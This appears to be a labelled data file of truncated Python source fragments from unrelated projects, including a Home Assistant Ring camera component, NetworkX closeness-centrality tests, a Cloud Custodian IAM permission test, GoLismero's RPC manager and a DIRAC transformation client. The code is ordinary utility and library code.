== -1: #use sysid print ""Averaging for all files like ""+fileName+""*.sysid""+sysid fileList = glob.glob(dirRead+fileName+""*.sysid""+sysid) #or gets the list of files with the taskid value elif sysidx == -1: #use taskid print ""Averaging for all files like ""+fileName+""_""+task+""*"" #print dirRead+fileName+""_""+task+"".*"" fileList = glob.glob(dirRead+fileName+""_""+task+"".*"") else: print ""ERROR: No one should get here either taskid or sysid should have been validated"" errorMsg() #for i in range(len(fileList)): # print ""TESTING:filelist["", i, ""]="",fileList[i] #sort the list of files #fileList.sort() #sort numerically sort_nicely(fileList) #print ""fileList[0]:"", fileList[0] #print ""fileList type:"", type(fileList) # Catch if there are no files matching the request if len(fileList) == 0: print ""ERROR: No files match input...exiting"" exit() print ""Number of files: "", len(fileList) #print ""This may take a moment"" if taskidx == -1: #use sysid dirAvg = [] # goes through each file and collects all the averages # inclusive and exclusive for Caches 1-3 (if 2 and 3 are present) for i in range(0, len(fileList)): dirAvg.append(getAvgSingle(fileList[i])) printAvgSingle(fileList[i],1) print ""\n *** Averaged Hit rates ***"" print fileName+""*.sysid""+sysid, numCache = len(dirAvg[0]) totalCache = [0,0,0,0,0,0] #print ""TESTING:numcache for avg of files is:"", numCache #print ""TESTING:dirAvg[0]="", dirAvg[0] #print ""TESTING:len(dirAvg[0])="", len(dirAvg[0]) #print ""TESTING:len(dirAvg)="", len(dirAvg) #print ""TESTING:numCache range= "", range(numCache) #calcute averages for the folder for i in range(len(dirAvg)): #if len(dirAvg[i]) > 4: #print ""TESTING:dirAvg["",i,""][4]="", dirAvg[i][4] for j in range(numCache): #print ""::j="",j,""dirAvg["",i,""]["",j,""]= "", dirAvg[i][j] totalCache[j] = totalCache[j]+dirAvg[i][j] #print values of the cache for i in range(0, len(totalCache), 2): if totalCache[i+1] !=0: print totalCache[i+1]/len(dirAvg), #print ""excl"", totalCache[i]/len(dirAvg) #print ""Cache "" + str((i/2)+1) + "" average %= "" + str(totalCache[i]/len(dirAvg)) + "" incl("" + str(totalCache[i+1]/len(dirAvg)) + "")"" elif sysidx == -1: #use taskid for i in range(0, len(fileList)): printAvgSingle(fileList[i],2) ",1 "og [options] [paths] Open the latest version for each given entity. """""" def run(self, sgfs, opts, args): # Parse them all. arg_to_movie = {} arg_to_entity = {} for arg in args: if os.path.exists(arg): arg_to_movie[arg] = arg continue print 'Parsing %r...' % arg data = utils.parse_spec(sgfs, arg.split(), ['Shot']) type_ = data.get('type') id_ = data.get('id') if not (type_ or id_): print 'no entities found for', repr(arg) return 1 arg_to_entity.setdefault(type_, {})[arg] = sgfs.session.merge(dict(type=type_, id=id_)) tasks = arg_to_entity.pop('Task', {}) shots = arg_to_entity.pop('Shot', {}) if arg_to_entity: print 'found entities that were not Task or Shot:', ', '.join(sorted(arg_to_entity)) return 2 if tasks: print 'Getting shots from tasks...' sgfs.session.fetch(tasks.values(), 'entity') for arg, task in tasks.iteritems(): shots[arg] = task['entity'] if shots: print 'Getting versions from shots...' sgfs.session.fetch(shots.values(), ('sg_latest_version.Version.sg_path_to_movie', 'sg_latest_version.Version.sg_path_to_frames')) for arg, shot in shots.iteritems(): version = shot.get('sg_latest_version') if not version: print 'no version for', shot return 3 path = version.get('sg_path_to_movie') or version.get('sg_path_to_frames') if not path: print 'no movie or frames for', version return 4 arg_to_movie[arg] = path movies = [arg_to_movie[arg] for arg in args] print 'Opening:' print '\t' + '\n\t'.join(movies) rvlink = Popen(['rv', '-bakeURL'] + movies, stderr=PIPE).communicate()[1].strip().split()[-1] self.open(rvlink) def open(self, x): if sys.platform.startswith('darwin'): call(['open', x]) else: call(['xdg-open', x]) run = OpenSequenceInRV() ",1 "options, see getConfigs. """""" def __init__(self, **kwargs): #: Configure options self._configs = kwargs self._configs.setdefault('headings', ['section', 'subsection', 'subsubsection', 'textbf', 'underline', 'emph']) def getConfigs(self): """""" Return the dictionary of configure options. """""" return self._configs def extend(self, translator): """""" Elements should be added to the storage of the Translator instance within this function. Args: translator[Translator]: The object to be used for converting the html. """""" pass ",1 "y not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from .common import BaseTest, load_data from c7n.config import Config, Bag from c7n import manager import fnmatch class TestIamGen(BaseTest): def check_permissions(self, perm_db, perm_set, path): invalid = [] for p in perm_set: if ':' not in p: invalid.append(p) continue s, a = p.split(':', 1) if s not in perm_db: invalid.append(p) continue if '*' in a: if not fnmatch.filter(perm_db[s], a): invalid.append(p) continue elif a not in perm_db[s]: invalid.append(p) if not invalid: return [] return [(path, invalid)] def test_iam_permissions_validity(self): cfg = Config.empty() missing = set() all_invalid = [] perms = load_data('iam-actions.json') for k, v in manager.resources.items(): p = Bag({'name': 'permcheck', 'resource': k, 'provider_name': 'aws'}) ctx = self.get_context(config=cfg, policy=p) mgr = v(ctx, p) invalid = [] # if getattr(mgr, 'permissions', None): # print(mgr) found = False for s in (mgr.resource_type.service, getattr(mgr.resource_type, 'permission_prefix', None)): if s in perms: found = True if not found: missing.add(""%s->%s"" % (k, mgr.resource_type.service)) continue invalid.extend(self.check_permissions(perms, mgr.get_permissions(), k)) for n, a in v.action_registry.items(): p['actions'] = [n] invalid.extend( self.check_permissions( perms, a({}, mgr).get_permissions(), ""{k}.actions.{n}"".format(k=k, n=n))) for n, f in v.filter_registry.items(): if n in ('or', 'and', 'not', 'missing'): continue p['filters'] = [n] invalid.extend( self.check_permissions( perms, f({}, mgr).get_permissions(), ""{k}.filters.{n}"".format(k=k, n=n))) if invalid: for k, perm_set in invalid: perm_set = [i for i in perm_set if not i.startswith('elasticloadbalancing')] if perm_set: all_invalid.append((k, perm_set)) if missing: raise ValueError( ""resources missing service %s"" % ('\n'.join(sorted(missing)))) if all_invalid: raise ValueError( ""invalid permissions \n %s"" % ('\n'.join(sorted(map(str, all_invalid))))) ",1 "on # # Copyright (c) 2013-2015 Noviat nv/sa (www.noviat.com). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # ############################################################################## from . import account from . import res_partner from . import ir_actions ",1 " vol from homeassistant.components.camera import PLATFORM_SCHEMA, Camera from homeassistant.components.ffmpeg import DATA_FFMPEG from homeassistant.const import ATTR_ATTRIBUTION, CONF_SCAN_INTERVAL from homeassistant.helpers import config_validation as cv from homeassistant.helpers.aiohttp_client import async_aiohttp_proxy_stream from homeassistant.util import dt as dt_util from . import ATTRIBUTION, DATA_RING, NOTIFICATION_ID CONF_FFMPEG_ARGUMENTS = 'ffmpeg_arguments' FORCE_REFRESH_INTERVAL = timedelta(minutes=45) _LOGGER = logging.getLogger(__name__) NOTIFICATION_TITLE = 'Ring Camera Setup' SCAN_INTERVAL = timedelta(seconds=90) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Optional(CONF_FFMPEG_ARGUMENTS): cv.string, vol.Optional(CONF_SCAN_INTERVAL, default=SCAN_INTERVAL): cv.time_period, }) def setup_platform(hass, config, add_entities, discovery_info=None): """"""Set up a Ring Door Bell and StickUp Camera."""""" ring = hass.data[DATA_RING] cams = [] cams_no_plan = [] for camera in ring.doorbells: if camera.has_subscription: cams.append(RingCam(hass, camera, config)) else: cams_no_plan.append(camera) for camera in ring.stickup_cams: if camera.has_subscription: cams.append(RingCam(hass, camera, config)) else: cams_no_plan.append(camera) # show notification for all cameras without an active subscription if cams_no_plan: cameras = str(', '.join([camera.name for camera in cams_no_plan])) err_msg = '''A Ring Protect Plan is required for the''' \ ''' following cameras: {}.'''.format(cameras) _LOGGER.error(err_msg) hass.components.persistent_notification.create( 'Error: {}
' 'You will need to restart hass after fixing.' ''.format(err_msg), title=NOTIFICATION_TITLE, notification_id=NOTIFICATION_ID) add_entities(cams, True) return True class RingCam(Camera): """"""An implementation of a Ring Door Bell camera."""""" def __init__(self, hass, camera, device_info): """"""Initialize a Ring Door Bell camera."""""" super(RingCam, self).__init__() self._camera = camera self._hass = hass self._name = self._camera.name self._ffmpeg = hass.data[DATA_FFMPEG] self._ffmpeg_arguments = device_info.get(CONF_FFMPEG_ARGUMENTS) self._last_video_id = self._camera.last_recording_id self._video_url = self._camera.recording_url(self._last_video_id) self._utcnow = dt_util.utcnow() self._expires_at = FORCE_REFRESH_INTERVAL + self._utcnow @property def name(self): """"""Return the name of this camera."""""" return self._name @property def unique_id(self): """"""Return a unique ID."""""" return self._camera.id @property def device_state_attributes(self): """"""Return the state attributes."""""" return { ATTR_ATTRIBUTION: ATTRIBUTION, 'device_id': self._camera.id, 'firmware': self._camera.firmware, 'kind': self._camera.kind, 'timezone': self._camera.timezone, 'type': self._camera.family, 'video_url': self._video_url, } async def async_camera_image(self): """"""Return a still image response from the camera."""""" from haffmpeg.tools import ImageFrame, IMAGE_JPEG ffmpeg = ImageFrame(self._ffmpeg.binary, loop=self.hass.loop) if self._video_url is None: return image = await asyncio.shield(ffmpeg.get_image( self._video_url, output_format=IMAGE_JPEG, extra_cmd=self._ffmpeg_arguments)) return image async def handle_async_mjpeg_stream(self, request): """"""Generate an HTTP MJPEG stream from the camera."""""" from haffmpeg.camera import CameraMjpeg if self._video_url is None: return stream = CameraMjpeg(self._ffmpeg.binary, loop=self.hass.loop) await stream.open_camera( self._video_url, extra_cmd=self._ffmpeg_arguments) try: stream_reader = await stream.get_reader() return await async_aiohttp_proxy_stream( self.hass, request, stream_reader, self._ffmpeg.ffmpeg_stream_content_type) finally: await stream.close() @property def should_poll(self): """"""Update the image periodically."""""" return True def update(self): """"""Update camera entity and refresh attributes."""""" _LOGGER.debug(""Checking if Ring DoorBell needs to refresh video_url"") self._camera.update() self._utcnow = dt_util.utcnow() try: last_event = self._camera.history(limit=1)[0] except (IndexError, TypeError): return last_recording_id = last_event['id'] video_status = last_event['recording']['status'] if video_status == 'ready' and \ (self._last_video_id != last_recording_id or self._utcnow >= self._expires_at): video_url = self._camera.recording_url(last_recording_id) if video_url: _LOGGER.info(""Ring DoorBell properties refreshed"") # update attributes if new video or if URL has expired self._last_video_id = last_recording_id self._video_url = video_url self._expires_at = FORCE_REFRESH_INTERVAL + self._utcnow ",1 " self.events_count_by_type = dict() def increment_counting(self, event): """"""Counts an event Args: event (:obj:`baroque.entities.event.Event`): the event to be counted """""" assert isinstance(event, Event) self.events_count += 1 t = type(event.type) if t in self.events_count_by_type: self.events_count_by_type[t] += 1 else: self.events_count_by_type[t] = 1 def count_all(self): """"""Tells how many events have been counted globally Returns: int """""" return self.events_count def count(self, eventtype): """"""Tells how many events have been counted of the specified type Args: eventtype (:obj:`baroque.entities.eventtype.EventType`): the type of events to be counted Returns: int """""" return self.events_count_by_type.get(type(eventtype), 0) ",1 " @classmethod def setup_class(cls): cls.K = nx.krackhardt_kite_graph() cls.P3 = nx.path_graph(3) cls.P4 = nx.path_graph(4) cls.K5 = nx.complete_graph(5) cls.C4 = nx.cycle_graph(4) cls.T = nx.balanced_tree(r=2, h=2) cls.Gb = nx.Graph() cls.Gb.add_edges_from([(0, 1), (0, 2), (1, 3), (2, 3), (2, 4), (4, 5), (3, 5)]) F = nx.florentine_families_graph() cls.F = F cls.LM = nx.les_miserables_graph() # Create random undirected, unweighted graph for testing incremental version cls.undirected_G = nx.fast_gnp_random_graph(n=100, p=0.6, seed=123) cls.undirected_G_cc = nx.closeness_centrality(cls.undirected_G) def test_wf_improved(self): G = nx.union(self.P4, nx.path_graph([4, 5, 6])) c = nx.closeness_centrality(G) cwf = nx.closeness_centrality(G, wf_improved=False) res = {0: 0.25, 1: 0.375, 2: 0.375, 3: 0.25, 4: 0.222, 5: 0.333, 6: 0.222} wf_res = {0: 0.5, 1: 0.75, 2: 0.75, 3: 0.5, 4: 0.667, 5: 1.0, 6: 0.667} for n in G: assert almost_equal(c[n], res[n], places=3) assert almost_equal(cwf[n], wf_res[n], places=3) def test_digraph(self): G = nx.path_graph(3, create_using=nx.DiGraph()) c = nx.closeness_centrality(G) cr = nx.closeness_centrality(G.reverse()) d = {0: 0.0, 1: 0.500, 2: 0.667} dr = {0: 0.667, 1: 0.500, 2: 0.0} for n in sorted(self.P3): assert almost_equal(c[n], d[n], places=3) assert almost_equal(cr[n], dr[n], places=3) def test_k5_closeness(self): c = nx.closeness_centrality(self.K5) d = {0: 1.000, 1: 1.000, 2: 1.000, 3: 1.000, 4: 1.000} for n in sorted(self.K5): assert almost_equal(c[n], d[n], places=3) def test_p3_closeness(self): c = nx.closeness_centrality(self.P3) d = {0: 0.667, 1: 1.000, 2: 0.667} for n in sorted(self.P3): assert almost_equal(c[n], d[n], places=3) def test_krackhardt_closeness(self): c = nx.closeness_centrality(self.K) d = { 0: 0.529, 1: 0.529, 2: 0.500, 3: 0.600, 4: 0.500, 5: 0.643, 6: 0.643, 7: 0.600, 8: 0.429, 9: 0.310, } for n in sorted(self.K): assert almost_equal(c[n], d[n], places=3) def test_florentine_families_closeness(self): c = nx.closeness_centrality(self.F) d = { ""Acciaiuoli"": 0.368, ""Albizzi"": 0.483, ""Barbadori"": 0.4375, ""Bischeri"": 0.400, ""Castellani"": 0.389, ""Ginori"": 0.333, ""Guadagni"": 0.467, ""Lamberteschi"": 0.326, ""Medici"": 0.560, ""Pazzi"": 0.286, ""Peruzzi"": 0.368, ""Ridolfi"": 0.500, ""Salviati"": 0.389, ""Strozzi"": 0.4375, ""Tornabuoni"": 0.483, } for n in sorted(self.F): assert almost_equal(c[n], d[n], places=3) def test_les_miserables_closeness(self): c = nx.closeness_centrality(self.LM) d = { ""Napoleon"": 0.302, ""Myriel"": 0.429, ""MlleBaptistine"": 0.413, ""MmeMagloire"": 0.413, ""CountessDeLo"": 0.302, ""Geborand"": 0.302, ""Champtercier"": 0.302, ""Cravatte"": 0.302, ""Count"": 0.302, ""OldMan"": 0.302, ""Valjean"": 0.644, ""Labarre"": 0.394, ""Marguerite"": 0.413, ""MmeDeR"": 0.394, ""Isabeau"": 0.394, ""Gervais"": 0.394, ""Listolier"": 0.341, ""Tholomyes"": 0.392, ""Fameuil"": 0.341, ""Blacheville"": 0.341, ""Favourite"": 0.341, ""Dahlia"": 0.341, ""Zephine"": 0.341, ""Fantine"": 0.461, ""MmeThenardier"": 0.461, ""Thenardier"": 0.517, ""Cosette"": 0.478, ""Javert"": 0.517, ""Fauchelevent"": 0.402, ""Bamatabois"": 0.427, ""Perpetue"": 0.318, ""Simplice"": 0.418, ""Scaufflaire"": 0.394, ""Woman1"": 0.396, ""Judge"": 0.404, ""Champmathieu"": 0.404, ""Brevet"": 0.404, ""Chenildieu"": 0.404, ""Cochepaille"": 0.404, ""Pontmercy"": 0.373, ""Boulatruelle"": 0.342, ""Eponine"": 0.396, ""Anzelma"": 0.352, ""Woman2"": 0.402, ""MotherInnocent"": 0.398, ""Gribier"": 0.288, ""MmeBurgon"": 0.344, ""Jondrette"": 0.257, ""Gavroche"": 0.514, ""Gillenormand"": 0.442, ""Magnon"": 0.335, ""MlleGillenormand"": 0.442, ""MmePontmercy"": 0.315, ""MlleVaubois"": 0.308, ""LtGillenormand"": 0.365, ""Marius"": 0.531, ""BaronessT"": 0.352, ""Mabeuf"": 0.396, ""Enjolras"": 0.481, ""Combeferre"": 0.392, ""Prouvaire"": 0.357, ""Feuilly"": 0.392, ""Courfeyrac"": 0.400, ""Bahorel"": 0.394, ""Bossuet"": 0.475, ""Joly"": 0.394, ""Grantaire"": 0.358, ""MotherPlutarch"": 0.285, ""Gueulemer"": 0.463, ""Babet"": 0.463, ""Claquesous"": 0.452, ""Montparnasse"": 0.458, ""Toussaint"": 0.402, ""Child1"": 0.342, ""Child2"": 0.342, ""Brujon"": 0.380, ""MmeHucheloup"": 0.353, } for n in sorted(self.LM): assert almost_equal(c[n], d[n], places=3) def test_weighted_closeness(self): edges = [ (""s"", ""u"", 10), (""s"", ""x"", 5), (""u"", ""v"", 1), (""u"", ""x"", 2), (""v"", ""y"", 1), (""x"", ""u"", 3), (""x"", ""v"", 5), (""x"", ""y"", 2), (""y"", ""s"", 7), (""y"", ""v"", 6), ] XG = nx.Graph() XG.add_weighted_edges_from(edges) c = nx.closeness_centrality(XG, distance=""weight"") d = {""y"": 0.200, ""x"": 0.286, ""s"": 0.138, ""u"": 0.235, ""v"": 0.200} for n in sorted(XG): assert almost_equal(c[n], d[n], places=3) # # Tests for incremental closeness centrality. # @staticmethod def pick_add_edge(g): u = nx.utils.arbitrary_element(g) possible_nodes = set(g.nodes()) neighbors = list(g.neighbors(u)) + [u] possible_nodes.difference_update(neighbors) v = nx.utils.arbitrary_element(possible_nodes) return (u, v) @staticmethod def pick_remove_edge(g): u = nx.utils.arbitrary_element(g) possible_nodes = list(g.neighbors(u)) v = nx.utils.arbitrary_element(possible_nodes) return (u, v) def test_directed_raises(self): with pytest.raises(nx.NetworkXNotImplemented): dir_G = nx.gn_graph(n=5) prev_cc = None edge = self.pick_add_edge(dir_G) insert = True nx.incremental_closeness_centrality(dir_G, edge, prev_cc, insert) def test_wrong_size_prev_cc_raises(self): with pytest.raises(nx.NetworkXError): G = self.undirected_G.copy() edge = self.pick_add_edge(G) insert = True prev_cc = self.undirected_G_cc.copy() prev_cc.pop(0) nx.incremental_closeness_centrality(G, edge, prev_cc, insert) def test_wrong_nodes_prev_cc_raises(self): with pytest.raises(nx.NetworkXError): G = self.undirected_G.copy() edge = self.pick_add_edge(G) insert = True prev_cc = self.undirected_G_cc.copy() num_nodes = len(prev_cc) prev_cc.pop(0) prev_cc[num_nodes] = 0.5 nx.incremental_closeness_centrality(G, edge, prev_cc, insert) def test_zero_centrality(self): G = nx.path_graph(3) prev_cc = nx.closeness_centrality(G) edge = self.pick_remove_edge(G) test_cc = nx.incremental_closeness_centrality(G, edge, prev_cc, insertion=False) G.remove_edges_from([edge]) real_cc = nx.closeness_centrality(G) shared_items = set(test_cc.items()) & set(real_cc.items()) assert len(shared_items) == len(real_cc) assert 0 in test_cc.values() def test_incremental(self): # Check that incremental and regular give same output G = self.undirected_G.copy() prev_cc = None for i in range(5): if i % 2 == 0: # Remove an edge insert = False edge = self.pick_remove_edge(G) else: # Add an edge insert = True edge = self.pick_add_edge(G) # start = timeit.default_timer() test_cc = nx.incremental_closeness_centrality(G, edge, prev_cc, insert) # inc_elapsed = (timeit.default_timer() - start) # print(f""incremental time: {inc_elapsed}"") if insert: G.add_edges_from([edge]) else: G.remove_edges_from([edge]) # start = timeit.default_timer() real_cc = nx.closeness_centrality(G) # reg_elapsed = (timeit.default_timer() - start) # print(f""regular time: {reg_elapsed}"") # Example output: # incremental time: 0.208 # regular time: 0.276 # incremental time: 0.00683 # regular time: 0.260 # incremental time: 0.0224 # regular time: 0.278 # incremental time: 0.00804 # regular time: 0.208 # incremental time: 0.00947 # regular time: 0.188 assert set(test_cc.items()) == set(real_cc.items()) prev_cc = test_cc ",1 "oLismero 2.0 - The web knife - Copyright (C) 2011-2014 Golismero project site: https://github.com/golismero Golismero project mail: contact@golismero-project.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """""" __all__ = [""RPCManager""] from ..common import pickle from ..messaging.codes import MessageCode, MSG_RPC_CODES from ..messaging.manager import MessageManager from functools import partial from threading import Thread import sys import traceback #------------------------------------------------------------------------------ # Decorators to automatically register RPC implementors at import time. # Global map of RPC codes to implementors. # dict( int -> tuple(callable, bool) ) rpcMap = {} def implementor(rpc_code, blocking=False): """""" RPC implementation function. """""" return partial(_add_implementor, rpc_code, blocking) def _add_implementor(rpc_code, blocking, fn): # Validate the argument types. if type(rpc_code) is not int: raise TypeError(""Expected int, got %r instead"" % type(rpc_code)) if type(blocking) is not bool: raise TypeError(""Expected bool, got %r instead"" % type(blocking)) if not callable(fn): raise TypeError(""Expected callable, got %r instead"" % type(fn)) # Validate the RPC code. if rpc_code in rpcMap: try: msg = ""Duplicated RPC implementors for code %d: %s and %s"" msg %= (rpc_code, rpcMap[rpc_code][0].__name__, fn.__name__) except Exception: msg = ""Duplicated RPC implementors for code: %d"" % rpc_code raise SyntaxError(msg) # TODO: use introspection to validate the function signature # Register the implementor. rpcMap[rpc_code] = (fn, blocking) # Return the implementor. No wrapping is needed! :) return fn #------------------------------------------------------------------------------ # Implementor for the special MSG_RPC_BULK code for bulk RPC calls. @implementor(MessageCode.MSG_RPC_BULK) def rpc_bulk(orchestrator, audit_name, rpc_code, *arguments): # Get the implementor for the RPC code. # Raise NotImplementedError if it's not defined. try: method, blocking = rpcMap[rpc_code] except KeyError: raise NotImplementedError(""RPC code not implemented: %r"" % rpc_code) # This can't be done with blocking implementors! if blocking: raise NotImplementedError( ""Cannot run blocking RPC calls in bulk. Code: %r"" % rpc_code) # Prepare a partial function call to the implementor. caller = partial(method, orchestrator, audit_name) # Use the built-in map() function to issue all the calls. # This ensures we support the exact same interface and functionality. return map(caller, *arguments) #------------------------------------------------------------------------------ # Ensures the message is received by the Orchestrator. @implementor(MessageCode.MSG_RPC_SEND_MESSAGE) def rpc_send_message(orchestrator, audit_name, message): # Enqueue the ACK message. orchestrator.enqueue_msg(message) #------------------------------------------------------------------------------ class RPCManager (object): """""" Executes remote procedure calls from plugins. """""" #-------------------------------------------------------------------------- def __init__(self, orchestrator): """""" :param orchestrator: Orchestrator instance. :type orchestrator: Orchestrator """""" # Keep a reference to the Orchestrator. self.__orchestrator = orchestrator # Keep a reference to the global RPC map (it's faster this way). self.__rpcMap = rpcMap # Check all RPC messages have been mapped at this point. missing = MSG_RPC_CODES.difference(self.__rpcMap.keys()) if missing: msg = ""Missing RPC implementors for codes: %s"" msg %= "", "".join(str(x) for x in sorted(missing)) raise SyntaxError(msg) #-------------------------------------------------------------------------- @property def orchestrator(self): """""" :returns: Orchestrator instance. :rtype: Orchestrator """""" return self.__orchestrator #-------------------------------------------------------------------------- def execute_rpc(self, audit_name, rpc_code, response_queue, args, kwargs): """""" Honor a remote procedure call request from a plugin. :param audit_name: Name of the audit requesting the call. :type audit_name: str :param rpc_code: RPC code. :type rpc_code: int :param response_queue: Response queue identity. :type response_queue: str :param args: Positional arguments to the call. :type args: tuple :param kwargs: Keyword arguments to the call. :type kwargs: dict """""" try: # Get the implementor for the RPC code. # Raise NotImplementedError if it's not defined. try: target, blocking = self.__rpcMap[rpc_code] except KeyError: raise NotImplementedError( ""RPC code not implemented: %r"" % rpc_code) # If it's a blocking call... if blocking: # Run the implementor in a new thread. thread = Thread( target = self._execute_rpc_implementor_background, args = ( Config._context, audit_name, target, response_queue, args, kwargs), ) thread.daemon = True thread.start() # If it's a non-blocking call... else: # Call the implementor directly. self.execute_rpc_implementor( audit_name, target, response_queue, args, kwargs) # Catch exceptions and send them back. except Exception: if response_queue: error = self.prepare_exception(*sys.exc_info()) try: self.orchestrator.messageManager.send( response_queue, (False, error)) except IOError: import warnings warnings.warn(""RPC caller died!"") pass #-------------------------------------------------------------------------- def _execute_rpc_implementor_background(self, context, audit_name, target, response_queue, args, kwargs): """""" Honor a remote procedure call request from a plugin, from a background thread. Must only be used as the entry point for said background thread! :param context: Plugin execution context. :type context: PluginContext :param audit_name: Name of the audit requesting the call. :type audit_name: str :param target: RPC implementor function. :type target: callable :param response_queue: Response queue identity. :type response_queue: str :param args: Positional arguments to the call. :type args: tuple :param kwargs: Keyword arguments to the call. :type kwargs: dict """""" Config._context = context self.execute_rpc_implementor( audit_name, target, response_queue, args, kwargs) #-------------------------------------------------------------------------- def execute_rpc_implementor(self, audit_name, target, response_queue, args, kwargs): """""" Honor a remote procedure call request from a plugin. :param audit_name: Name of the audit requesting the call. :type audit_name: str :param target: RPC implementor function. :type target: callable :param response_queue: Response queue identity. :type response_queue: str :param args: Positional arguments to the call. :type args: tuple :param kwargs: Keyword arguments to the call. :type kwargs: dict """""" try: # Call the implementor and get the response. response = target(self.orchestrator, audit_name, *args, **kwargs) success = True # Catch exceptions and prepare them for sending. except Exception: if response_queue: response = self.prepare_exception(*sys.exc_info()) success = False # If the call was synchronous, # send the response/error back to the plugin. if response_queue: self.orchestrator.messageManager.send( response_queue, (success, response)) #-------------------------------------------------------------------------- @staticmethod def prepare_exception(exc_type, exc_value, exc_traceback): """""" Prepare an exception for sending back to the plugins. :param exc_type: Exception type. :type exc_type: class :param exc_value: Exception value. :type exc_value: :returns: Exception type, exception value and formatted traceback. The exception value may be formatted too and the exception type replaced by Exception if it's not possible to serialize it for sending. :rtype: tuple(class, object, str) """""" exc_type, exc_value, exc_traceback = sys.exc_info() try: pickle.dumps(exc_value, -1) except Exception: exc_value = traceback.format_exception_only(exc_type, exc_value) try: pickle.dumps(exc_type, -1) except Exception: exc_type = Exception exc_traceback = traceback.extract_tb(exc_traceback) return exc_type, exc_value, exc_traceback ",1 "RANCH = ""develop"" def run_git(*args, dry_run=False, quiet=False): """"""Run a git command, print it before executing and capture the output."""""" command = git[split("" "".join(args))] if not quiet: print(""{}{}"".format(""[DRY-RUN] "" if dry_run else """", command)) if dry_run: return """" rv = command() if not quiet and rv: print(rv) return rv def branch_exists(branch): """"""Return True if the branch exists."""""" try: run_git(""rev-parse --verify {}"".format(branch), quiet=True) return True except ProcessExecutionError: return False def get_current_branch(): """"""Get the current branch name."""""" return run_git(""rev-parse --abbrev-ref HEAD"", quiet=True).strip() ",1 "msg): print(msg) sys.exit(1) def isPathDisabled(path): for part in path.parts: if part.lower().startswith(""_disabled""): return True return False depsFolder = Path(""_deps_split"") prodFolder = Path(""_prods_split"") merged_deps = Path(""merged_deps.py"" ) merged_prods = Path(""merged_prods.py"") if not os.path.isfile(merged_deps): errorExit(""Merged depends file does not exist"") if not os.path.isfile(merged_prods): errorExit(""Merged products file does not exist"") if not os.path.isdir(depsFolder): os.makedirs(depsFolder) else: print(""Clearing old split folder:"" + str(depsFolder)) shutil.rmtree(depsFolder) os.makedirs(depsFolder) if not os.path.isdir(prodFolder): os.makedirs(prodFolder) else: print(""Clearing old split folder:"" + str(prodFolder)) shutil.rmtree(prodFolder) os.makedirs(prodFolder) things = { ""merged_deps.py"" : depsFolder, ""merged_prods.py"" : prodFolder, } for mergefile_name in things: mergedFile = None enableWrite = False curFile = None print(""Splitting "" +mergefile_name+ "" into seperate files in "" + str(things[mergefile_name])) with open(mergefile_name, ""r"", encoding=""utf-8"") as f: mergedFile = f.read().split(""\n"") fileBuffer = """" for line in mergedFile: startR = re.search(""^########START:\[(.+)\]$"",line) endR = re.search(""^########END:\[(.+)\]$"",line) if endR != None: enableWrite = False curFile.write(fileBuffer.rstrip(""\n"")) curFile.close() if enableWrite: fileBuffer+=line+""\n"" if startR != None: enableWrite = True fileBuffer = """" curFile = open(os.path.join(things[mergefile_name],startR.groups()[0]) ,""w"",encoding=""utf-8"") print(""Done"")",1 " import S_OK, S_ERROR, gLogger from DIRAC.Core.Base.Client import Client from DIRAC.Core.Utilities.List import breakListIntoChunks from DIRAC.Resources.Catalog.FileCatalogueBase import FileCatalogueBase from DIRAC.ConfigurationSystem.Client.Helpers.Operations import Operations rpc = None url = None class TransformationClient( Client, FileCatalogueBase ): """""" Exposes the functionality available in the DIRAC/TransformationHandler This inherits the DIRAC base Client for direct execution of server functionality. The following methods are available (although not visible here). Transformation (table) manipulation deleteTransformation(transName) getTransformationParameters(transName,paramNames) getTransformationWithStatus(status) setTransformationParameter(transName,paramName,paramValue) deleteTransformationParameter(transName,paramName) TransformationFiles table manipulation addFilesToTransformation(transName,lfns) addTaskForTransformation(transName,lfns=[],se='Unknown') getTransformationStats(transName) TransformationTasks table manipulation setTaskStatus(transName, taskID, status) setTaskStatusAndWmsID(transName, taskID, status, taskWmsID) getTransformationTaskStats(transName) deleteTasks(transName, taskMin, taskMax) extendTransformation( transName, nTasks) getTasksToSubmit(transName,numTasks,site='') TransformationLogging table manipulation getTransformationLogging(transName) File/directory manipulation methods (the remainder of the interface can be found below) getFileSummary(lfns) exists(lfns) Web monitoring tools getDistinctAttributeValues(attribute, selectDict) getTransformationStatusCounters() getTransformationSummary() getTransformationSummaryWeb(selectDict, sortList, startItem, maxItems) """""" def __init__( self, **kwargs ): Client.__init__( self, **kwargs ) opsH = Operations() self.maxResetCounter = opsH.getValue( 'Productions/ProductionFilesMaxResetCounter', 10 ) self.setServer( 'Transformation/TransformationManager' ) def setServer( self, url ): self.serverURL = url def getCounters( self, table, attrList, condDict, older = None, newer = None, timeStamp = None, rpc = '', url = '' ): rpcClient = self._getRPC( rpc = rpc, url = url ) return rpcClient. getCounters( table, attrList, condDict, older, newer, timeStamp ) def addTransformation( self, transName, description, longDescription, transType, plugin, agentType, fileMask, transformationGroup = 'General', groupSize = 1, inheritedFrom = 0, body = '', maxTasks = 0, eventsPerTask = 0, addFiles = True, rpc = '', url = '', timeout = 1800 ): """""" add a new transformation """""" rpcClient = self._getRPC( rpc = rpc, url = url, timeout = timeout ) return rpcClient.addTransformation( transName, description, longDescription, transType, plugin, agentType, fileMask, transformationGroup, groupSize, inheritedFrom, body, maxTasks, eventsPerTask, addFiles ) def getTransformations( self, condDict = {}, older = 